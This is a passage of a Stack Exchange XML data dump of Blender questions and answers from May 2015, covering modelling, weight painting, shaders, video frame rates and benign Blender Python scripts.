  <row Id="30997" PostTypeId="2" ParentId="30996" CreationDate="2015-05-17T17:46:45.373" Score="7" Body="&lt;p&gt;Examples&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;In edit mode you can switch to face select mode (control tab).  Select faces and delete.  You may need to  created additional faces to delete.&lt;/li&gt;&#xA;&lt;li&gt;Extrude or inset and remove faces&lt;/li&gt;&#xA;&lt;li&gt;Use any mesh primitive with multiple faces and delete a face.  &lt;/li&gt;&#xA;&lt;li&gt;Add more faces (loop cut and slide) and delete a face to create hole.&lt;/li&gt;&#xA;&lt;li&gt;Use a Boolean modifier with operation Delete to create additional geometry suitable to the final step to delete faces.&lt;br&gt;&#xA;In the image below we see from left to right&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;a plane&lt;/li&gt;&#xA;&lt;li&gt;a plane with sphere placed to intersect the plane&lt;/li&gt;&#xA;&lt;li&gt;goal mesh achieved with hole cut from Boolean modifier with [apply] clicked and user editing to delete extra vertices&lt;/li&gt;&#xA;&lt;li&gt;plane selected with Boolean modifier present&lt;/li&gt;&#xA;&lt;li&gt;plane with extra geometry created by Boolean modifier with [apply] clicked. Extra geometry will be deleted. N-gons may be present.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HRuKO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If rectangular outside with circular hole is desired use a torus or sphere or cylinder and use a shrink wrap to a rectangular outside.  Below is an example of a torus with 3 vertex cross section.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/L7Xa1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The geometry created above may be more suited to some situations rather than a triangulated n-gon.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="6076" LastEditorUserId="6076" LastEditDate="2015-05-17T20:08:33.907" LastActivityDate="2015-05-17T20:08:33.907" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30998" PostTypeId="1" AcceptedAnswerId="31000" CreationDate="2015-05-17T17:54:28.827" Score="1" ViewCount="100" Body="&lt;p&gt;I've parented my mesh to my armature and want to edit the weights with weight painting, but I can't select the mesh to get into weight painting mode. &lt;img src=&quot;https://i.stack.imgur.com/SgTBj.png&quot; alt=&quot;enter image description here&quot; /&gt;&#xA;I'm trying to select it from here. Help?&lt;/p&gt;&#xA;" OwnerUserId="14351" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-05-17T18:53:52.997" Title="Unable to select parented mesh" Tags="&lt;rigging&gt;&lt;armature&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30999" PostTypeId="1" AcceptedAnswerId="31915" CreationDate="2015-05-17T18:06:20.450" Score="6" ViewCount="1474" Body="&lt;p&gt;I have a character with a very simple motion control: when I press &lt;kbd&gt;W&lt;/kbd&gt; the character moves forward, with &lt;kbd&gt;S&lt;/kbd&gt; they it goes backwards and so on. The problem is that unlike what is possible in the real world, releasing the movement button halts the character instantly; the same happens in mid air - if you were going forward and, mid air pressed the button to go backwards, you will, which us impossible IRL and, thus, not what I want. How can I make it so the character has to first slow down, before being able to switch direction (for large-ish turn angles)? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem with the current suggestions is that it only partly fixes my problem, in that if I try to switch direction mid-air, it starts to move backwards with the same velocity it had when moving forward (i.e. the speed suddenly becomes negative), which is not what I want. &lt;/p&gt;&#xA;" OwnerUserId="1597" LastEditorUserId="3078" LastEditDate="2015-06-03T20:44:21.847" LastActivityDate="2015-08-22T16:30:31.067" Title="How to achieve more physically accurate motion in the game engine?" Tags="&lt;python&gt;&lt;game-engine&gt;&lt;logic-bricks&gt;" AnswerCount="5" CommentCount="9" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31000" PostTypeId="2" ParentId="30998" CreationDate="2015-05-17T18:53:52.997" Score="2" Body="&lt;ul&gt;&#xA;&lt;li&gt;Press the plus icon next to [&quot;armature&quot;]to open up the hierarchy.  Like files and folders&lt;/li&gt;&#xA;&lt;li&gt;There you will see your mesh which can then be selected.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="6076" LastActivityDate="2015-05-17T18:53:52.997" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31001" PostTypeId="2" ParentId="30987" CreationDate="2015-05-17T19:05:03.517" Score="1" Body="&lt;p&gt;I just got consistent behavior (after 2 days) by selecting both pieces, going to edit, and recalculating the normals to be outside, then back to object and performing the operation.&#xA;Do you need a picture for that?  &lt;/p&gt;&#xA;" OwnerUserId="9598" LastActivityDate="2015-05-17T19:05:03.517" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31002" PostTypeId="2" ParentId="30750" CreationDate="2015-05-17T19:54:07.280" Score="2" Body="&lt;p&gt;Non linear editors are generally not used for compositing for a number of reasons. NLEs have very thin margins for performance, while compositing may require hundreds to thousands of operations to craft a desired output. In industrial imaging, these two processes are isolated and divided for this very reason.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While you might not be doing post production on a feature length film, there is much to be gained by following the patterns that such projects follow.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Cut your project into the shots and timing you require using an NLE. Once you are happy with the pacing and the edit, your edit is &quot;Picture Locked.&quot; You now know precisely which frames you are going to be performing deeper surgery on and what elements you require.&lt;/li&gt;&#xA;&lt;li&gt;Take your work into the compositor and perform the surgery. You gain the added quality of compositing on 32 bit float imagery as well as avoiding other not-so-obvious compositing problems such as nonlinear color blending. Specifically regarding your work, you can find various tools to help you regarding motion blurring. See &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.64/Mask_Editor&quot; rel=&quot;nofollow&quot;&gt;Motion Blur option in the mask node&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Repeat for each shot required. At the end of the process, output your still frames and encode to a final motion picture format if needed.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="213" LastEditorUserId="213" LastEditDate="2015-05-17T21:03:44.813" LastActivityDate="2015-05-17T21:03:44.813" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31003" PostTypeId="2" ParentId="24063" CreationDate="2015-05-17T20:00:02.637" Score="4" Body="&lt;p&gt;Motion blur is a complex subject that can often require reassembling frames using optical flow technology.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you have your edit in place and can precisely locate where you require retiming, you might be able to leverage a tool such as &lt;a href=&quot;http://slowmovideo.granjow.net/&quot; rel=&quot;nofollow&quot;&gt;slomoVideo&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="213" LastActivityDate="2015-05-17T20:00:02.637" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31004" PostTypeId="1" AcceptedAnswerId="31007" CreationDate="2015-05-17T20:12:59.743" Score="3" ViewCount="972" Body="&lt;p&gt;I have two videos I want to edit together, both are single long takes of the same event, taken from different angles with different cameras.  One is from an older Sony camcorder, 29 minutes long, 720x480, 29.97 fps; the other from an iPhone 6, 27 minutes long, 1920x1080, 30 fps.  Each has problems at various times, so I'd like to combine them with intercuts.  I understand that my first step is to convert the framerates to match. What's the best way to do this?  I've seen recommendations to use FFmpeg. With the frame rates so similar, is this overkill?  Thanks.&lt;/p&gt;&#xA;" OwnerUserId="14411" LastEditorUserId="15795" LastEditDate="2019-10-04T22:57:41.603" LastActivityDate="2019-10-05T14:07:28.843" Title="Preparing 29.97 and 30 fps video for VSE" Tags="&lt;video-sequence-editor&gt;&lt;frame-rate&gt;" AnswerCount="5" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31005" PostTypeId="2" ParentId="30443" CreationDate="2015-05-17T20:25:44.793" Score="3" Body="&lt;p&gt;Try adding a subsurface modifier to the meshes you want to parent before you parent them. You can remove it later. For some reason it should work. &lt;/p&gt;&#xA;" OwnerUserId="14351" LastActivityDate="2015-05-17T20:25:44.793" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="31006" PostTypeId="2" ParentId="31004" CreationDate="2015-05-17T21:06:09.613" Score="1" Body="&lt;p&gt;You could open the 'Video Sequence Editor', click 'Add', 'Movie' and open the first movie (from Sony). In the properties panel, change the fps according to that video and render it to images.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then open a new Blender, open 'Video Sequence Editor', click 'Add', 'Image', and select every rendered image of the previous video. Now change in the properties panel the fps to 30 fps and render it as video. Now you have both videos at 30 fps.&lt;/p&gt;&#xA;" OwnerUserId="14206" LastActivityDate="2015-05-17T21:06:09.613" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31007" PostTypeId="2" ParentId="31004" CreationDate="2015-05-17T21:09:22.857" Score="4" Body="&lt;p&gt;You will need to conform the footage to a single base rate. Although being very close, the values will be significantly off enough to cause sound slippage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regarding the Apple device, if from North America, I have extreme doubts that the footage is a base 30 rate. Typically most North American devices will list 24P or 30P and yet still be NTSC 24000/1001 and 30000/1001 respectively.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;FFMPEG is probably a great entry point to conform any footage that requires such. Bear in mind that this may well have adverse effects on your footage as the frames in question may be dropped or doubled up depending on which target frame rate you are conforming to.&lt;/p&gt;&#xA;" OwnerUserId="213" LastActivityDate="2015-05-17T21:09:22.857" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31008" PostTypeId="1" AcceptedAnswerId="31009" CreationDate="2015-05-17T21:52:36.597" Score="4" ViewCount="2252" Body="&lt;p&gt;On my model I have red areas on the grey texture. I accomplish this by adding a 2nd texture and using an RGB curve to single out the dark red only.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to get the red areas as you can see below, to glow as if they where hot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6vPVC.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Current nodes&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sDOq6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using Emission in place of the Diffuse BSDF for the 2nd texture: &lt;img src=&quot;https://i.stack.imgur.com/xud3d.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried adding emission in there, but it seems to just increase the amount of red over the surface of the rock, and cranking it's strength up increased the amount of red though the brightness stays about the same. I want to keep the amount of red the same, but make it seem as if it where hot and giving off light.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: There is a pretty large chance that I'm going about this completely wrong though.&lt;/p&gt;&#xA;" OwnerUserId="13512" LastEditorUserId="13512" LastEditDate="2015-05-17T22:31:04.543" LastActivityDate="2021-03-28T13:51:51.110" Title="How can I make a specific color on my model emit?" Tags="&lt;cycles-render-engine&gt;&lt;nodes&gt;" AnswerCount="2" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31009" PostTypeId="2" ParentId="31008" CreationDate="2015-05-17T22:07:36.833" Score="3" Body="&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;The weight factor of the red component is used for mix shader. The weight of the red component my be unsuitable. It may be too  small. If the red image has only red components keep this in mind for the math.  If red highlight image were actually bright white and black with maximum white values in some areas that would be desirable.  Multiply the weight of the red by 3 with a math node.  When red is normalized RGB-&gt;BW it may have been divided by three.  What you may have intended was ... to use the red color only as a basis for brightness and do not consider green and blue.  A single red color can only have 1/3 the brightness of bright white. Some mathematical liberties taken. It would be best if your red highlight image has very bright red areas.  Scaling by a value greater than 1, ... 3 or 4 for example,  will help to bring the brightness in the range you desire.  The highlight image may exist as black and white, rather than red, and be recolored to any other color in the Compositor.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Assuming you are using materials with emission shader. Increase the strength of emission for blinding brightness.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Your color curve may be unsuitable. All brightness may have been wiped out. Remedy. Make everything too bright.  Bring bright side to the middle.  Then reduce artistically.  My compositor color ramp may serve as an example.  Notice how the white color dominates most of the color ramp.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Know that the compositor can user Alpha Over node to lay images with transparency on top of one another.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use an EMISSION shader and diffuse shader to the mix shader, if you continue to use the materials approach.  You clearly have a better chance of getting a bright color with the emission shader.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Compositor, compositing pixels, compositing nodes, with a color ramp can threshold colors and produce bright colors.  Next blur the edges.  Materials are a different approach.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Below is a compositor image of your original images.  I have used a color ramp to threshold the brightest color and dilated them to white.  White is easier to see then red. The border has not been removed.  This is an illustrative technique example not artistic for a single picture.   &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hvnih.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Make sure you texture coordinates are correct for UV&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="6076" LastEditorUserId="6076" LastEditDate="2015-05-18T08:05:15.223" LastActivityDate="2015-05-18T08:05:15.223" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31010" PostTypeId="1" AcceptedAnswerId="31011" CreationDate="2015-05-17T23:11:33.230" Score="6" ViewCount="1671" Body="&lt;p&gt;How to paint various shapes on the object with precision and ability for fast adjustment.&lt;/p&gt;&#xA;" OwnerUserId="12820" LastActivityDate="2015-05-17T23:11:33.230" Title="Painting shapes and patterns on the mesh" Tags="&lt;texturing&gt;&lt;texture-baking&gt;&lt;texture-painting&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31011" PostTypeId="2" ParentId="31010" CreationDate="2015-05-17T23:11:33.230" Score="7" Body="&lt;p&gt;Create object(s) close to the surface of the painted object (UV unwrapped object with a texture).&#xA;Add various materials on different parts of the shape object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CzbU0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add Subdivision Surface modifier with 2 or more subdivisions.&#xA;Make creases where it is necessary to preserve sharp edges of the shapes.&#xA;Add Shrinkwrap modifier with &lt;strong&gt;Target&lt;/strong&gt; set to painted object and set mode to &lt;strong&gt;Projection&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FEwEf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select shape object(s) and the painted object as last one, then open Render tab and in Bake settings select &lt;strong&gt;Textures&lt;/strong&gt; as bake mode, enable &lt;strong&gt;Selected to Active&lt;/strong&gt; and adjust &lt;strong&gt;Distance&lt;/strong&gt; to prevent baking to the opposite side of the mesh. Then hit &lt;strong&gt;Bake&lt;/strong&gt; button.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cQqHO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Final result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GI5fu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12820" LastActivityDate="2015-05-17T23:11:33.230" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31012" PostTypeId="1" CreationDate="2015-05-17T23:16:17.220" Score="1" ViewCount="80" Body="&lt;p&gt;My model looks how I want it to as it is, but when I use subdivision surface seemingly random chunks get added or taken away. How can I prevent this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MjoGp.png&quot; alt=&quot;Before&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/drqDV.png&quot; alt=&quot;After&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14421" LastEditorDisplayName="user1853" LastEditDate="2015-05-18T03:02:02.617" LastActivityDate="2015-05-18T03:02:02.617" Title="Subdivision surface modifier distorts shape" Tags="&lt;modeling&gt;" AnswerCount="0" CommentCount="1" ClosedDate="2015-05-18T04:35:16.700" ContentLicense="CC BY-SA 3.0" />
  <row Id="31015" PostTypeId="1" CreationDate="2015-05-17T23:32:37.240" Score="2" ViewCount="257" Body="&lt;p&gt;My shoulder bone is selected but the weights for the head bone is showing like this&lt;img src=&quot;https://i.stack.imgur.com/fpvjP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No matter what bone I select, it always shows the weight for the head bone. When I paint over it, the effects are reversed like adding subtracts weight and vice versa .The weights of the shoulder are affected. Is it supposed to work that way?&lt;/p&gt;&#xA;" OwnerUserId="14351" LastEditorUserId="14351" LastEditDate="2015-05-18T20:25:20.070" LastActivityDate="2015-05-18T20:25:20.070" Title="Weight paint not showing weights for right bone" Tags="&lt;armature&gt;&lt;weight-painting&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="31016" PostTypeId="2" ParentId="30519" CreationDate="2015-05-17T23:44:51.660" Score="2" Body="&lt;p&gt;I guess a custom Freestyle Python script could be a solution:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from freestyle.chainingiterators import *&#xA;from freestyle.predicates import *&#xA;from freestyle.shaders import *&#xA;from freestyle.types import *&#xA;&#xA;&#xA;class StrokePrinter(StrokeShader):&#xA;    def shade(self, stroke):&#xA;        for svert in stroke:&#xA;            print(svert.point)&#xA;&#xA;&#xA;upred = AndUP1D(QuantitativeInvisibilityUP1D(0), pyNatureUP1D(Nature.SILHOUETTE))&#xA;Operators.select(upred)&#xA;Operators.bidirectional_chain(ChainSilhouetteIterator(), NotUP1D(upred))&#xA;shaders_list = [&#xA;    SamplingShader(5),&#xA;    ConstantThicknessShader(4),&#xA;    ConstantColorShader(0, 0, 0),&#xA;    StrokePrinter()&#xA;    ]&#xA;Operators.create(TrueUP1D(), shaders_list)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Copy and paste the script into the Text Editor in Blender.  Change the Freestyle control mode from the Parameter Editor mode (default) to the Python Scripting mode.  Add a style module and select the script from the pull-down menu.  Render a still image, then in the console window you will see coordinates of silhouette lines (at every 5 pixels along the silhouette lines; change the parameter of the SamplingShader in the code to tune the interval).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; To retrieve the object name of a stroke:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class StrokePrinter(StrokeShader):&#xA;    def shade(self, stroke):&#xA;        sv1 = stroke[0].first_svertex&#xA;        sv2 = stroke[0].second_svertex&#xA;        fedge = sv1.get_fedge(sv2)&#xA;        print(fedge.viewedge.viewshape.name)&#xA;        for svert in stroke:&#xA;            print(svert.point)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1561" LastEditorUserId="1561" LastEditDate="2015-05-19T17:26:22.153" LastActivityDate="2015-05-19T17:26:22.153" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="31017" PostTypeId="1" CreationDate="2015-05-17T23:56:58.487" Score="4" ViewCount="800" Body="&lt;p&gt;I'm trying to parent an object to a bone in python without using operator&#xA;So I did this :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;object = bpy.data.objects['object']&#xA;armature = bpy.data.objects['Armature']&#xA;bone = armature.pose.bones['bone']&#xA;&#xA;object.parent = armature &#xA;object.parent_bone = bone.name&#xA;object.matrix_parent_inverse = bone.matrix_local.inverted()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OA56x.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the object is on the tail of the bone it must be on the head&#xA;What should I do?&lt;/p&gt;&#xA;" OwnerUserId="14433" LastEditorUserId="14438" LastEditDate="2015-05-18T13:23:20.550" LastActivityDate="2021-03-11T16:44:12.440" Title="parent an object to a bone in python" Tags="&lt;python&gt;&lt;bones&gt;&lt;parent&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31018" PostTypeId="2" ParentId="31008" CreationDate="2015-05-17T23:59:56.820" Score="1" Body="&lt;p&gt;So it turns out I was going about this in a fundamentally incorrect way. What I ended up doing was taking the base texture, reducing it's color balance in GIMP to the minimum, then using GIMP's color curve darkened it up to the point that the majority of the remaining colors where black. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then imported that into blender and used that texture for the emission. As detailed below: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Base Texture:&lt;/strong&gt;&lt;img src=&quot;https://i.stack.imgur.com/vzuhY.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Reduced Color Levels:&lt;/strong&gt;&lt;img src=&quot;https://i.stack.imgur.com/aqzBx.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Adjust Color Curve:&lt;/strong&gt; &lt;img src=&quot;https://i.stack.imgur.com/2UiSn.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Final Product&lt;/strong&gt;: &lt;img src=&quot;https://i.stack.imgur.com/MQCAd.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13512" LastActivityDate="2015-05-17T23:59:56.820" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="31019" PostTypeId="1" AcceptedAnswerId="31021" CreationDate="2015-05-18T00:08:46.823" Score="2" ViewCount="200" Body="&lt;p&gt;What is the difference between a boolean union of two solids and to left them compenetrated ? Visually I see no difference, but if I don't execute the union, internal faces remain.&lt;/p&gt;&#xA;" OwnerDisplayName="user1395" LastActivityDate="2015-05-18T01:49:00.540" Title="Boolean union and solids compenetration" Tags="&lt;modifiers&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31021" PostTypeId="2" ParentId="31019" CreationDate="2015-05-18T01:49:00.540" Score="4" Body="&lt;p&gt;The Boolean joins the two objects into a single mesh, with no inside faces, and no intersecting edges. This is important if you're trying to create a manifold mesh, or don't wan't overlapping faces. Of course when using union there is no visual difference, since the meshes are being added and the total surface remains...&lt;/p&gt;&#xA;" OwnerUserId="3127" LastActivityDate="2015-05-18T01:49:00.540" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31022" PostTypeId="1" CreationDate="2015-05-18T02:02:18.553" Score="2" ViewCount="452" Body="&lt;p&gt;I have a scene where I emit particles as debris over a volume in the scene. Within that volume I have other objects with colliders. A few particles will appear inside the objects and fly off of them at high speed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I prevent these particles from appearing inside these other objects?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My first thought was to have particles kill on collision during the first frame or two, however I am not sure how to have the setting change on a frame to frame basis.&lt;/p&gt;&#xA;" OwnerUserId="13512" LastActivityDate="2015-05-18T02:02:18.553" Title="When emitting particles in a volume, how do I prevent particles from appearing inside other objects within that volume?" Tags="&lt;particles&gt;" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31023" PostTypeId="1" CreationDate="2015-05-18T02:18:01.073" Score="4" ViewCount="197" Body="&lt;p&gt;I have a list of translations and rotations from a rigid body calculation that I'd like to apply to an object using the &lt;code&gt;frame_change_pre&lt;/code&gt; handler.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both the translation/rotation text file and the script that defines the handler are stored in my &lt;code&gt;.blend&lt;/code&gt; file.  When I open the &lt;code&gt;.blend&lt;/code&gt; file in Blender and render the animation, the script works as expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem is that when I run in batch mode using the command:&lt;br&gt;&#xA;&lt;code&gt;/path/to/blender tossTest.blend -b -s 1 -e 8 -a&lt;/code&gt;&lt;br&gt;&#xA;the transformations aren't applying in the output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following listing is the python script, &lt;code&gt;script.py&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from mathutils import Matrix&#xA;from mathutils import Vector&#xA;&#xA;# Create 'posList' from 'positionDataSmall.txt', which is&#xA;# a text file stored inside this .blend file.&#xA;posList=[]&#xA;text=bpy.data.texts['positionDataSmall.txt']&#xA;&#xA;for i in range(1,15):&#xA;    text.current_line_index=i&#xA;    line=text.current_line.body&#xA;    posList.append([float(v) for v in line.split(',')])&#xA;&#xA;# The function that rotates and translates Suzanne using&#xA;# the position list array.&#xA;# Called by the handler.&#xA;def rotByIndex(n):&#xA;    if n&amp;lt;0: n=0&#xA;    if n&amp;gt;=len(posList): n=len(posList)-1&#xA;&#xA;    mr=Matrix((posList[n][4:7],&#xA;               posList[n][7:10],&#xA;               posList[n][10:13])).to_4x4()&#xA;    vt=Vector(posList[n][1:4])&#xA;    mt=Matrix.Translation(vt)&#xA;    m=mt*mr&#xA;&#xA;    obj=bpy.data.objects['Suzanne']&#xA;    obj.matrix_local=m&#xA;&#xA;# The handler which gets called&#xA;def my_handler(scene):&#xA;    bpy.data.objects['Suzanne'].select=True&#xA;&#xA;    rotByIndex(scene.frame_current-1)&#xA;    scene=bpy.data.scenes['Scene']&#xA;    scene.update()&#xA;&#xA;bpy.app.handlers.frame_change_pre.append(my_handler)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And here's &lt;code&gt;positionDataSmall.txt&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;time,X,Y,Z,r11,r12,r13,r21,r22,r23,r31,r32,r33&#xA;0,0,0,0,1,0,0,0,1,0,0,0,1&#xA;0.1,-0.008852,0.17392,0.582415,0.937926,-0.024107,-0.345997,0.099391,0.974378,0.201766,0.332292,-0.223621,0.916284&#xA;0.2,-0.086264,0.395815,1.171942,0.813167,0.008713,-0.581965,0.179952,0.947084,0.2658,0.553515,-0.320867,0.768548&#xA;0.3,-0.208956,0.61547,1.709725,0.682634,0.027446,-0.730245,0.263186,0.922954,0.280871,0.681722,-0.383931,0.622778&#xA;0.4,-0.359143,0.832437,2.177802,0.559921,0.035089,-0.827802,0.347363,0.897075,0.273121,0.752213,-0.440487,0.490048&#xA;0.5,-0.517773,1.04868,2.556567,0.434674,0.045545,-0.899435,0.429578,0.867257,0.251652,0.791527,-0.495778,0.357337&#xA;0.6,-0.676588,1.264907,2.837416,0.301292,0.064759,-0.95133,0.506222,0.834588,0.217262,0.808053,-0.547058,0.218583&#xA;0.7,-0.835403,1.481143,3.020156,0.162968,0.092379,-0.982297,0.575247,0.799951,0.170788,0.801569,-0.592908,0.077121&#xA;0.8,-0.994218,1.697387,3.104786,0.023238,0.127698,-0.991541,0.634886,0.764235,0.113421,0.772239,-0.632158,-0.063431&#xA;0.9,-1.153033,1.913641,3.091307,-0.114327,0.16981,-0.978823,0.683614,0.728353,0.046628,0.720813,-0.663804,-0.199482&#xA;1,-1.311849,2.129903,2.979719,-0.246211,0.217638,-0.944465,0.720182,0.693225,-0.027883,0.648604,-0.687039,-0.327552&#xA;1.1,-1.470664,2.346174,2.770023,-0.369041,0.269958,-0.889343,0.743655,0.659749,-0.108203,0.557458,-0.701271,-0.444365&#xA;1.2,-1.629479,2.562454,2.462217,-0.479677,0.32543,-0.814865,0.753434,0.628783,-0.192277,0.449704,-0.706136,-0.546936&#xA;1.3,-1.788296,2.778741,2.056303,-0.575288,0.382638,-0.722933,0.749268,0.601116,-0.277952,0.328096,-0.701514,-0.632639&#xA;1.4,-1.947117,2.995036,1.552281,-0.653427,0.440118,-0.615897,0.731267,0.577455,-0.363034,0.195743,-0.687524,-0.699282&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Some notes and things I've tried:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;Register&lt;/code&gt; is checked for &lt;code&gt;script.py&lt;/code&gt; in the &lt;code&gt;.blend&lt;/code&gt; file.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;Auto Run Python 